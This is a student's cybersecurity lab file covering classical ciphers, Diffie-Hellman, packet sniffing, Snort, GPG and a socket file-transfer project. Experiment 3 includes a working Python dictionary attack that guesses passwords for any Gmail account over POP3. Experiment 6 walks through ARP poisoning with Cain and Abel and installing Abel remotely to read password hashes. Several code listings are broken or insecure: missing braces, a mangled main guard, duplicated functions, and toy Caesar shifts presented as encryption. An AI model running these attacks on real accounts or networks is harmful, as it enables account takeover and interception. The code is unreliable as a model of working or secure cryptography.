You are on page 1of 39

CYBER SECURITY PRACTICAL FILE

DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING ,


SWAMI KESHVANAND INSTITUTE OF TECHNOLOGY , JAIPUR.

Submitted By: Submitted To:


Abhay Jain Mr. Girish Sharma
17ESKCS004
7CS-A1
INDEX
Serial Experiments Page No.
No.
1. Implement the following Substitution & Transposition 1
Techniques concepts
2. Implement the Diffie-Hellman Key Exchange mechanism 12
using HTML and JavaScript. Consider the end user as one of
the parties (Alice) and the JavaScript application as other
party (bob).
3. Implement the following Attack 14
4. Installation of Wire shark, tcpdump, etc and observe data 16
transferred in client server communication using UDP/TCP
and identify the UDP/TCP datagram.
5. Installation of rootkits and study about the variety of 19
options.
6. Perform an Experiment to Sniff Traffic using ARP Poisoning. 22
7. Demonstrate intrusion detection system using any tool 24
(snort or any other s/w).
8. Demonstrate how to provide secure data storage, secure 25
data transmission and for creating digital signatures.
9. PROJECT - Client Server Encrypted Communication 35
EXPERIMENT 1
AIM : Implement the following Substitution & Transposition Techniques concepts:

a) Caesar Cipher

b) Rail fence row

c) Column Transformation

a) Ceaser Cipher

#include <iostream>
using namespace std;
int main()
{ int i, x;
char str[100];
cout << "Please enter a string to check:\t";
cin >> str;
cout << "\nPlease choose the following options: \n";
cout << "1 = Encrypt the string. \n";
cout << "2 = Decrypt the string. \n";
cin >> x;
switch(x)
{ case 1:
for (i = 0; (i < 100 && str[i] != '\0'); i++)
str[i] = str[i] + 2;
cout << "\n Encrypted String: " << str << endl;
break;
case 2:
for (i = 0; (i < 100 && str[i] != '\0'); i++)
str[i] = str[i] - 2;
cout << "\n Decrypted string: " << str << endl;
break;
default:
cout << "\n Invalid Input !!!\n";
}
return 0;
}
b) Rail Fence Transformation

#include <iostream>
#include <regex>
using namespace std;
void cipherEncryption()
{ string message;
cout << "Enter message: ";
getline(cin , message);
cin.ignore();
message = regex_replace(message, regex("\\s+"), "");
cout << "Enter key(number of rails): ";
int rails;
cin >> rails;
cin.ignore();
char railMatrix[rails][message.length()];
for (int i = 0; i < rails; i++){
for (int j = 0; j < message.length(); j++){
railMatrix[i][j] = '.';
}
}
int row = 0;
int check = 0;
for (int i = 0; i < message.length(); i++){
if (check == 0){
railMatrix[row][i] = message[i];
row++;
if(row == rails){
check = 1;
row--;
}
} else if (check == 1){
row--;
railMatrix[row][i] = message[i];
if (row == 0){
check = 0;
row = 1;
}}}
string encrypText = "";
for (int i = 0; i < rails; i++){
for (int j = 0; j < message.length(); j++){
encrypText += railMatrix[i][j];
}}
encrypText = regex_replace(encrypText, regex("\\."), "");
cout << "Encrypted Text: " << encrypText;
}
void ciphetDecryption(){
string message;
cout << "Enter message: ";
getline(cin , message);
cin.ignore();
message = regex_replace(message, regex("\\s+"), "");
cout << "Enter key(number of rails): ";
int rails;
cin >> rails;
cin.ignore();
char railMatrix[rails][message.length()];
for (int i = 0; i < rails; i++){
for (int j = 0; j < message.length(); j++){
railMatrix[i][j] = '.';
}}
int row = 0;
int check = 0;
for (int i = 0; i < message.length(); i++){
if (check == 0){
railMatrix[row][i] = message[i];
row++;
if(row == rails){
check = 1;
row--;
}
} else if (check == 1){
row--;
railMatrix[row][i] = message[i];
if (row == 0){
check = 0;
row = 1;
}} }
int ordr = 0;
for (int i = 0; i < rails; i++){
for (int j = 0; j < message.length(); j++){
string temp = "";
temp += railMatrix[i][j];
if(regex_match(temp, regex("\\."))){
// skipping '.'
continue;
} else {
// adding cipher letters one by one diagonally
railMatrix[i][j] = message[ordr];
ordr++;
}}}
string decrypText = "";
check = 0;
row = 0;
for (int i = 0; i < message.length(); i++){
if (check == 0){
decrypText += railMatrix[row][i];
row++;
if (row == rails){
check = 1;
row--;
}
} else if (check == 1){
row--;
decrypText += railMatrix[row][i];
if (row == 0){
check = 0;
row = 1;
}} }
decrypText = regex_replace(decrypText, regex("\\.+"), "");
cout << "Decrypted Text: " << decrypText;
}
int main()
{ cout << "1. Encryption\n2. Decryption\nChoose(1,2): ";
int choice;
cin >> choice;
cin.ignore();

if (choice == 1){
cout << endl << "Encryption" << endl;
cipherEncryption(); }
else if (choice == 2) {
cout << endl << "Decryption" << endl;
ciphetDecryption();
} else {
cout << endl << "Invalid Choice" << endl;
} return 0;
}

c) Column Transformation

#include <iostream>
#include <regex>
#include <string>
#include <sstream>
using namespace std;
string getNumberLocation(string keyword, string kywrdNumListStr) {
int kywrdNumList[keyword.length()];
for (int i = 0; i < sizeof(kywrdNumList)/sizeof(kywrdNumList[0]); i++)
{
kywrdNumList[i] = kywrdNumListStr[i] - 48;
}string numLoc = "";
for (int i = 1; i < keyword.length() + 1; i++) {
for (int j = 0; j < keyword.length(); j++) {
if (kywrdNumList[j] == i){
numLoc += to_string(j);
}}}
return numLoc;
}
string keywordNumAssign(string keyword){
string alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int kywrdNumList[keyword.length()];
int init = 0;
for (int i = 0; i < alpha.length(); i ++){
for (int j = 0; j < keyword.length(); j++) {
if (alpha[i] == keyword[j]){
init++;
kywrdNumList[j] = init;
}}}
string str = "";
for (int i = 0; i < sizeof(kywrdNumList)/sizeof(kywrdNumList[0]); i++){
str += to_string(kywrdNumList[i]);
}
return str;
}
void cipherEncryption(){
string msg;
cout << "Enter Plain Text: ";
getline(cin, msg);
string keyword;
cout << "Enter Keyword: ";
getline(cin, keyword);
for (int i = 0; i < msg.length(); i++){
msg[i] = toupper(msg[i]);
}
msg = regex_replace(msg,regex("\\s+"), "");
for (int i = 0; i < keyword.length(); i++){
keyword[i] = toupper(keyword[i]);
}for (int i = 0; i < keyword.length(); i++){
cout << keyword[i] << " ";
}
cout << endl;
string kywrdNumListStr = keywordNumAssign(keyword);
int kywrdNumList[keyword.length()];
for (int i = 0; i < sizeof(kywrdNumList)/sizeof(kywrdNumList[0]); i++){
kywrdNumList[i] = kywrdNumListStr[i] - 48;
}
for (int i: kywrdNumList){
cout << i << " ";
}
int extraLetters = msg.length() % keyword.length();
int dummyCharacters = keyword.length() - extraLetters;
if (extraLetters != 0){
for (int i = 0; i < dummyCharacters; i++) {
msg += ".";
}
}
int numOfRows = msg.length() / keyword.length();
char arr[numOfRows][keyword.length()];
int z = 0;
for (int i = 0; i < numOfRows; i++) {
for (int j = 0; j < keyword.length(); j++) {
arr[i][j] = msg[z];
z++;
}
}
cout << endl;
for (int i = 0; i < numOfRows; i++) {
for (int j = 0; j < keyword.length(); j++) {
cout << arr[i][j] << " ";
}
cout << endl;
}
string cipherText = "";
string numLoc = getNumberLocation(keyword, kywrdNumListStr);
cout << numLoc << endl;
cout << endl;
for (int i = 0, k = 0; i < numOfRows; i++, k++) {
int d;
if (k == keyword.length()){
break;
} else {
d = numLoc[k];
d = d- '0';
}
for (int j = 0; j < numOfRows; j++) {
cipherText += arr[j][d];
}
}
cout << cipherText;}
void cipherDecryption(){
string msg;
cout << "Enter Cipher Text: ";
getline(cin, msg);
string keyword;
cout << "Enter Keyword: ";
getline(cin, keyword);
for (int i = 0; i < keyword.length(); i++){
keyword[i] = toupper(keyword[i]);
}string kywrdNumListStr = keywordNumAssign(keyword);
int kywrdNumList[keyword.length()];
for (int i = 0; i < sizeof(kywrdNumList)/sizeof(kywrdNumList[0]); i++)
{
kywrdNumList[i] = kywrdNumListStr[i] - 48;
}
int numOfRows = msg.length() / keyword.length();
char arr[numOfRows][keyword.length()];
string numLoc = getNumberLocation(keyword, kywrdNumListStr);
for (int i = 0, k = 0; i < msg.length(); i++, k++) {
int d;
if (k == keyword.length()){
k = 0;
} else {
d = numLoc[k];
d = d- '0';
}
for (int j = 0; j < numOfRows; j++, i++) {
arr[j][d] = msg[i];
}i--; cout << endl;
string plainText = "";
for (int i = 0; i < numOfRows; i++) {
for (int j = 0; j < keyword.length(); j++) {
plainText += arr[i][j]; }}
cout << "Plain Text: " << plainText << endl;}
int main()
{
cout << "Columnar Transposition Cipher" << endl;
cout << "1. Encryption\n2. Decryption\nChoose(1,2): ";
int choice;
cin >> choice;
cin.ignore();
if (choice == 1){
cout << endl << "Encryption" << endl;
cipherEncryption();
} else if (choice == 2){
cout << endl << "Decryption" << endl;
cipherDecryption();
} else {
cout << endl << "Wrong Choice" << endl;
}return 0;
}
EXPERIMENT 2
AIM : Implement the Diffie-Hellman Key Exchange mechanism using HTML and JavaScript. Consider the end user as one of the
parties (Alice) and the JavaScript application as other party (bob).
Index
<!DOCTYPE html>
<html>
<head>
<title>DHE</title>
<link rel="stylesheet" type="text/css" href="/style.css" />
</head>
<body>
<label for="m"> Enter prime number q: </label><br>
<input type="text" id="q" name="q"><br>
<label for="a"> Enter primitive root of q (a): </label><br>
<input type="text" id="a" name="a"><br>
<br> <br>
<button onclick="sendMessage()">sent</button>
<div id="chatlog"></div>
<script src="/socket.io/socket.io.js"></script>
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
<script>
var socketio = io.connect("localhost:3000");
var ms1 = 4;
var randomNumber =7;
socketio.on("message_to_client", function(data) {
document.getElementById("chatlog").innerHTML = ("<hr/>" +
data['message'] + document.getElementById("chatlog").innerHTML);
var messageFromOther = parseInt(data['message'],10);
var key2 = Math.pow(messageFromOther, randomNumber) % ms1;
document.write("Hello" +key2); });
function sendMessage() {
var msg1 = document.getElementById("q").value;
var msg2 = document.getElementById("a").value;
ms1 = parseInt(msg1, 10);
var ms2 = parseInt(msg2, 10);
randomNumber = getRandomInt(2,ms1);
var key = Math.pow(ms2, randomNumber) % ms1;
var msg3 = key.toString();
var msg4=msg1+ "+" + msg2 + "+" + msg3;
socketio.emit("message_to_server", { message : msg4});}
function getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min)) + min;
</script>
</body>
</html>
Application
var app = require('express')();
var http = require('http').createServer(app);
var bodyparser = require('body-parser')
app.use(bodyparser.urlencoded({ extended: true }))
var http = require('http'),
fs = require('fs');
var express = require('express');
var app = http.createServer(function (request, response) {
fs.readFile("index.html", 'utf-8', function (error, data) {
if(error)
{ response.writeHead(404);
response.write("File not found");
response.end();
}else
{response.writeHead(200, {'Content-Type': 'text/html'});
response.write(data);
response.end();}});
}).listen(3000);
var io = require('socket.io').listen(app);
io.on('connection', (socket) => {
console.log('a user connected');});
var clients = {};
io.sockets.on('connection', function (socket) {
clients[socket.id] = socket;
socket.on('message_to_server', function (data) {
var destination = clients[data.destinationId];
var str= String(Object.values(data));
var splitstring = str.split('+');
var arr1 = [0,0,0];
for (var i = 0; i < splitstring.length; i++) {
arr1[i] = parseInt(splitstring[i],10); }
var randomNumber = getRandomInt(2,arr1[0]);
var key = Math.pow(arr1[1], randomNumber) % arr1[0];
var key2 = Math.pow(arr1[2], randomNumber) % arr1[0];
console.log("Key for B " +key2);
socket.broadcast.emit("message_to_client" , { message: key }); });
function getRandomInt(min, max) {
min = Math.ceil(min);
max = Math.floor(max);
return Math.floor(Math.random() * (max - min)) + min;}});
EXPERIMENT 3
AIM : Implement the following Attack:
a) Dictionary Attack
b) Brute Force Attack
a) Dictionary Attack
import poplib
mailServer = 'pop.gmail.com'
print('-------------------Dictionary Attack Python Script -------------------')
emailID =input('Enter Email ID: ')
passfile=input('Enter Password File location: ')
def hit(email,Pass):
try:
myEmailConnection = poplib.POP3_SSL(mailServer)
myEmailConnection.user(email)
myEmailConnection.pass_(Pass)
except:
print('Trying: '+Pass)
return False
else:
print('Password Found: '+Pass)
return True
f=open(passfile)
for i in f:
if(hit(emailID,i)):
break
input()
NOTE – DICTIONARY TXT FILE IS GIVEN IN CLASSROOM FOLDER.
b) Brute Force Attack
#include<iostream>
using namespace std;
string encrypt(string x,int n)
{string cipher="";
for(int i=0;i<x.length();i++)
{ if(isupper(x[i]))
cipher += (x[i] + n - 65)%26 + 65;
else if(islower(x[i]))
cipher += (x[i] + n - 97)%26 + 97;
else
cipher += x[i];
}
return cipher;
}
void decrypt(string x)
{
string text;
for(int n=0;n<26;n++)
{text = "";
for(int i=0;i<x.length();i++)
{ if(isupper(x[i]))
{ if((x[i] - n - 65)<0)
text += 91 + (x[i] - n - 65);
else
text += (x[i] - n - 65)%26 + 65;
}
else if(islower(x[i]))
{if((x[i] - n - 97) < 0)
text += 123 + (x[i] - n - 97);
else
text += (x[i] - n - 97)%26 + 97;
}
else
text += x[i];
}
cout << "plain text for key " << n << " :- " << text << endl;
}}
int main()
{int key;
string text;
cout << "enter text:- ";
getline(cin,text);
cout << "enter key:- ";
cin >> key;
string cipher = encrypt(text,key);
cout << "cipher text :- " << cipher << endl << endl;
decrypt(cipher);
}
EXPERIMENT 4
AIM : Installation of Wire shark, tcpdump, etc and observe data transferred in client server communication using UDP/TCP
and identify the UDP/TCP datagram.

▪ What is Wireshark --------Wireshark is an open-source packet analyzer, which is used for education, analysis, software
development, communication protocol development, and network troubleshooting. It is commonly called as a sniffer,
network protocol analyzer, and network analyzer.

▪ What is tcpdump

If you have a Unix or Unix-like (Linux, Mac OS) operating system, you can use tcpdump to examine network traffic. The
tcpdump program is a command line utility that can be installed for free. The tcpdump command can be issued by itself or
with options, parameters, and/or regular expressions. None of these elements are mandatory and the order is not important.

tcpdump <-option_identifier> <option_name> <parameter> <parameter_value> <regular expressions>

▪ Analysis of TCP:
We will follow some steps to generate TCP frames.

Step 1: The simple way to generate TCP packets is by accessing any HTTP website. The reason is, HTTP is an application layer
protocol and it uses TCP as underlying transport layer protocol. To know about HTTP follow below
linkhttps://linuxhint.com/http_wireshark/

Step 2: Start Wireshark.

Step 3: Open below link in any browser.


http://gaia.cs.umass.edu/wireshark-labs/alice.txt

Step 4: Stop Wireshark and put TCP as filter.

Step 5: ANALYSIS
Now we should see TCP 3-way handshake packets. Here is the simple diagram.
Frame 1 : SYN [ Synchronization ]

SYN is the first packet comes from the client to server. In our case 192.168.1.6 is the client [The system where we opened the
browser] and gaia.cs.umass.edu is the server.Here are some important fields in SYN frame

SYN frame is required to send the capabilities of client to server.

Frame 2 : SYN+ACK [ Synchronaziation + Acknowledgement ]

SYN, ACK is the second packet comes from the server to client.Here are some important fields in SYN, ACK frame
SYN, ACK frame is required to send the capabilities of server to client.
Now client and server have shared their capabilities.

Frame 3 : ACK [Acknowledgement ]


ACK is the third packet comes from the client to server. This is basically an acknowledgement from client to server and also it’s
an acceptance of capabilities sent by server.Here are the important fields for ACK.

▪ UDP Packet Analysis:

Let’s send some UDP date using Iperf network tool. Here is the set up diagram used for generating udp data

Here are the steps:

Step1: Start Wireshark.


Step2: Run Iperf UDP server at 192.168.1.5 system.
Step3: Run Iperf UDP client at 192.168.1.6 system.
Step4: Stop Wireshark.
Step5: Analysis of captured packets
Here is the top level view of UDP packet in Wireshark.

Now let’s see inside UDP data packet. Here are the details of a UDP packet:

Note:
As UDP does not need any transport layer acknowledgement so evenif IPERF server is not running client will able send data
unlike TCP.So always check in server side for UDP data.
Summary:
Key points for UDP are:

1. There is no UDP connection frame exchange for UDP


2. There is no UDP transport layer ACK for UDP packet.
3. Depending upon application need one can go for UDP protocol to use.
EXPERIMENT 5
AIM : Installation of rootkits and study about the variety of options.

Rootkit is a stealth type of malicious software designed to hide the existence of certain process from normal
methods of detection and enables continued privileged access to a computer.
• Download Rootkit Tool from GMER website. www.gmer.net
• This displays the Processes, Modules, Services, Files, Registry, RootKit/Malwares, Autostart, CMD of
local host.
• Select Processes menu and kill any unwanted process if any. Modules
menu displays the various system files like .sys, .dll
• Services menu displays the complete services running with Autostart, Enable, Disable, System,
Boot.
• Files menu displays full files on Hard-Disk volumes.
• Registry displays Hkey_Current_user and Hkey_Local_Machine.
• Rootkits/Malawares scans the local drives selected.
• Autostart displays the registry base Autostart applications.
• CMD allows the user to interact with command line utilities or Registry.
EXPERIMENT 6
AIM : Perform an Experiment to Sniff Traffic using ARP Poisoning.

Address Resolution Protocol (ARP) poisoning is a type of attack where the Media Access Control [MAC] address by the attacker
called spoofing. ARP poison routing uses the stored cache as a way to reroute or redirect, packets from a target, to an
intermediate machine. Thus MAN in MIDDLE watch the traffic between Source and Target machines.

To perform this Install CAIN and Abel tool and do the following:
▪ Click on Sniffer menu.
▪ Click on hosts on the button portion window.
▪ Click Start sniffer and APR service from Standard toolbar menu.

▪ Right Click on the hosts window and click on Scan MAC address.
▪ Select all hosts in my subnet or range FROM and TO IP address and Click OK.
▪ Now you view the MAC and IP address of Remote / Local machines.
▪ Click on APR button on toolbar menu.
▪ Left Click on right pane of APR window and then Click on ‘+’ symbol on standard toolbar.
▪ APR enables you to poison IP traffic between the selected host .
▪ Click on any IP address on the left side list and the other IP selected on the right side.
▪ Left Click on Right side on the IP address and Click OK.
▪ Watch the poisoning effect FROM and TO IP address.
• The analysis of this traffic can also be performed by other tool called ETHEREAL.
• ABEL is the second part of program composed by two files able.exe and abel.dll. The service can be
installed with Administrative Priviledges on the Target Machine.
• Execute Abel.exe from ProgramFiles Folder.
• Expand Microsoft windows Network and Click on all Computers.
• Right Click on Computer and Connect as Administrative Credentials.
• Once connected Right Click on services icon and select install Abel, the two files abe.exe and
abel.dll will be copied on to connected Computer.
• Now bring up a console prompt on the connected Computer examine the password hashes.
EXPERIMENT 7
AIM : Demonstrate intrusion detection system using any tool (snort or any other s/w).

SNORT can be configured to run in three modes:


1. Sniffer mode
2. Packet Logger mode
3. Network Intrusion Detection System mode
Sniffer mode snort –v Print out the TCP/IP packets header on the screen
Snort –vd show the TCP/IP ICMP header with application data in transit.
Packet Logger mode snort –dev –l c:\log [create this directory in the C drive] and snort will automatically
know to go into packet logger mode, it collects every packet it sees and places it in log directory.
snort –dev –l c:\log –h ipaddress/24 This rule tells snort that you want to print out the data link and TCP/IP
headers as well as application data into the log directory.
snort –l c:\log –b This is binary mode logs everything into a single file.
Network Intrusion Detection System mode snort –d c:\log –h ipaddress/24 –c snort.conf This
is a configuration file applies rule to each packet to decide it an action based upon the rule type in the file.
Snort –d –h ipaddress/24 –l c:\log –c snort.conf This will cnfigure snort to run in its most basic NIDS form,
logging packets that trigger rules specifies in the snort.conf
.Download SNORT from snort.org.

Install snort with or without database support.

Select all the components and Click Next. Install and


Close.
Skip the WinPcap driver installation
Add the path variable in windows environment variable by selecting new classpath.
Create a path variable and point it at snort.exe variable name path and variable
value c:\snort\bin.
Click OK button and then close all dialog boxes.
Open command prompt and type the following commands:
EXPERIMENT 8

AIM : Demonstrate how to provide secure data storage, secure data transmission and for creating
digital signatures.
INSTALLING THE SOFTWARE:
1. Visit www.gpg4win.org. Click on the “Gpg4win 2.3.0” b
2. On the following screen, click the “Download Gpg4win” button.

3. When the “Welcome” screen is displayed, click the “Next” button.

4. When the “License Agreement” page is displayed, click the “Next” button
6. Set the location where you want the software to be installed. The default location is fine.
Then, click the “Next” button.

7. Specify where you want shortcuts to the software placed, then click the “Next” button.

8. If you selected to have a GPG shortcut in your Start Menu, specify the folder in which it will
be placed. The default “Gpg4win” is OK. Click the “Install” button to continue

9. A warning will be displayed if you have Outlook or Explorer opened. If this occurs, click the
“OK” button.

10. The installation process will tell you when it is complete. Click the “Next” button
11. Once the Gpg4win setup wizard is complete, the following screen will be displayed. Click the
“Finish” button.
12. If you do not uncheck the “Show the README file” check box, the README file will be
displayed. The window can be closed after you’ve reviewed it.
CREATING YOUR PUBLIC AND PRIVATE KEYS
GPG encryption and decryption is based upon the keys of the person who will be receiving the
encrypted file or message. Any individual who wants to send the person an encrypted file or message
must possess the recipient’s public key certificate to encrypt the message. The recipient must have the
associated private key, which is different than the public key, to be able to decrypt the file. The public
and private key pair for an individual is usually generated by the individual on his or her computer using
the installed GPG program, called “Kleopatra” and the following procedure
1. From your start bar, select the “Kleopatra” icon to start the Kleopatra certificate
management software
2.The following screen will be displayed

3.From the “File” dropdown, click on the “New Certificate” option.


4. The following screen will be displayed. Click on “Create a personal OpenGPG key pair”
and the “Next” button

5.The Certificate Creation Wizard will start and display the following:
6. Enter your name and e-mail address. You may also enter an optional comment. Then, click
the “Next” button
7. Review your entered values. If OK, click the “Create Key” button

8. You will be asked to enter a passphrase


9. The passphrase should follow strong password standards. After you’ve entered your
passphrase, click the “OK” button.

10. You will be asked to re-enter the passphrase.


11. Re-enter the passphrase value. Then click the “OK” button. If the passphrases match, the
certificate will be created.
12. Once the certificate is created, the following screen will be displayed. You can save a backup
of your public and private keys by clicking the “Make a backup Of Your Key Pair” button.
This backup can be used to copy certificates onto other authorized computers.
13. If you choose to backup your key pair, you will be presented with the following
screen:

14.Specify the folder and name the file. Then click the “OK” button.
5. After the key is exported, the following will be displayed. Click the “OK” button.
12

16. You will be returned to the “Key Pair Successfully Created” screen. Click the
“Finish” button.
17. Before the program closes, you will need to confirm that you want to close the
program by clicking on the “Quit Kleopatra” button
DECRYPTING AN ENCRYPTED E-MAIL THAT HAS BEEN SENT TO YOU:
1. Open the e-mail message 2. Select the GpgOL tab

3. Click the “Decrypt” button.

4. A command window will open along with a window that asks for the Passphrase to your private
key that will be used to decrypt the incoming message.

5.Enter your passphrase and click the “OK” button


6. The results window will tell you if the decryption succeeded. Click the “Finish” button top
close the window

7. Your unencrypted e-mail message body will be displayed.

8. When you close the e-mail you will be asked if you want to save the e-mail message in its
unencrypted form. For maximum security, click the “No” button. This will keep the message
encrypted within the e-mail system and will require you to enter your passphrase each time you
reopen the e-mail message

RESULT:
Thus the secure data storage, secure data transmission and for creating digital signatures was
developed successfully.
PROJECT - Client Server Encrypted Communication

AIM: Program to encrypt and decrypt the file and sending via socket programming.
SENDER.PY
import socket
import tqdm
import os
import argparse
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 1024 * 4
def send_file(filename, host, port):
# get the file size
filesize = os.path.getsize(filename)
# create the client socket
s = socket.socket()
print(f"[+] Connecting to {host}:{port}")
s.connect((host, port))
print("[+] Connected.")
# send the filename and filesize
s.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True,
unit_divisor=1024)
with open(filename, "rb") as f:
for _ in progress:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
progress.update(len(bytes_read))
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
s.sendall(bytes_read)
# update the progress bar
# close the socket
progress.update(len(bytes_read))
s.close()
def caesar_cipher_encrypt(x):
shift=5
x=list(x)
for i in range(len(x)):
if x[i].isalpha():
if x[i].isupper():
x[i]=chr((((ord(x[i])-65)+shift)%26)+65)
else:
x[i]=chr((((ord(x[i])-97)+shift)%26)+97)
return "".join(x)
def encrypt_file(filename):
import random
import string
#generating the dummy data
with open(filename,'w') as f:
for i in range(10):
temp=""
for j in range(20):
temp+=(random.choice(string.ascii_letters+string.punctuation))
temp+='\n'
f.write(temp)
f.close()
p=[]
with open(filename,'r') as f:
for i in f.readlines():
p.append(caesar_cipher_encrypt(i))
f.close()
#applying Caesar Cipher to Encrypt the file
with open('Encrypted-file.txt','w') as f:
for i in p:
f.writelines(i)
f.close()
return "Encrypted-file.txt"
def caesar_cipher_encrypt(x):
shift=5
x=list(x)
for i in range(len(x)):
if x[i].isalpha():
if x[i].isupper():
x[i]=chr((((ord(x[i])-65)+shift)%26)+65)
else:
x[i]=chr((((ord(x[i])-97)+shift)%26)+97)
return "".join(x)
#generating the dummy data
if name == " main ":
import argparse
parser = argparse.ArgumentParser(description="Simple File Sender")
parser.add_argument("file", help="File name to send")
#parser.add_argument("host", help="The host/IP address of the receiver")
parser.add_argument("-p", "--port", help="Port to use, default is 5001", default=5001)
args = parser.parse_args()
filename = encrypt_file(args.file)
#host = args.host
port = args.port
send_file(filename, socket.gethostname(), port)
RECIEVER.PY
import socket
import tqdm
import os
import random
import string
def caesar_cipher_decrypt(x):
shift=5
x=list(x)
for i in range(len(x)):
if x[i].isalpha():
if x[i].isupper():
x[i]=chr((((ord(x[i])-65)-shift)%26)+65)
else:
x[i]=chr((((ord(x[i])-97)-shift)%26)+97)
return "".join(x)
# device's IP address
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5001
# receive 4096 bytes each time
BUFFER_SIZE = 4096
SEPARATOR = "<SEPARATOR>"
# create the server socket
# TCP socket
s = socket.socket()
# bind the socket to our local address
s.bind((SERVER_HOST, SERVER_PORT))
# enabling our server to accept connections
# 5 here is the number of unaccepted connections that
# the system will allow before refusing new connections
s.listen(5)
print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
# accept connection if there is any
client_socket, address = s.accept()
# if below code is executed, that means the sender is connected
print(f"[+] {address} is connected.")
# receive the file infos
# receive using client socket, not server socket
received = client_socket.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
# remove absolute path if there is
filename = os.path.basename(filename)
# convert to integer
filesize = int(filesize)
# start receiving the file from the socket
# and writing to the file stream
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True,
unit_divisor=1024)
with open(filename, "wb") as f:
for _ in progress:
# read 1024 bytes from the socket (receive)
bytes_read = client_socket.recv(BUFFER_SIZE)
if not bytes_read:
# nothing is received
# file transmitting is done
break
# write to the file the bytes we just received
f.write(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
# close the client socket
client_socket.close()
print("Decrypting the file")
d=[]
with open(filename,'r') as f:
for i in f.readlines():
d.append(caesar_cipher_decrypt(i))
f.close()
#applying Decrypting Algo
with open('Decrypted-file.txt','w') as f:
for i in d:
f.writelines(i)
f.close()
# close the server socket
s.close()

You might also like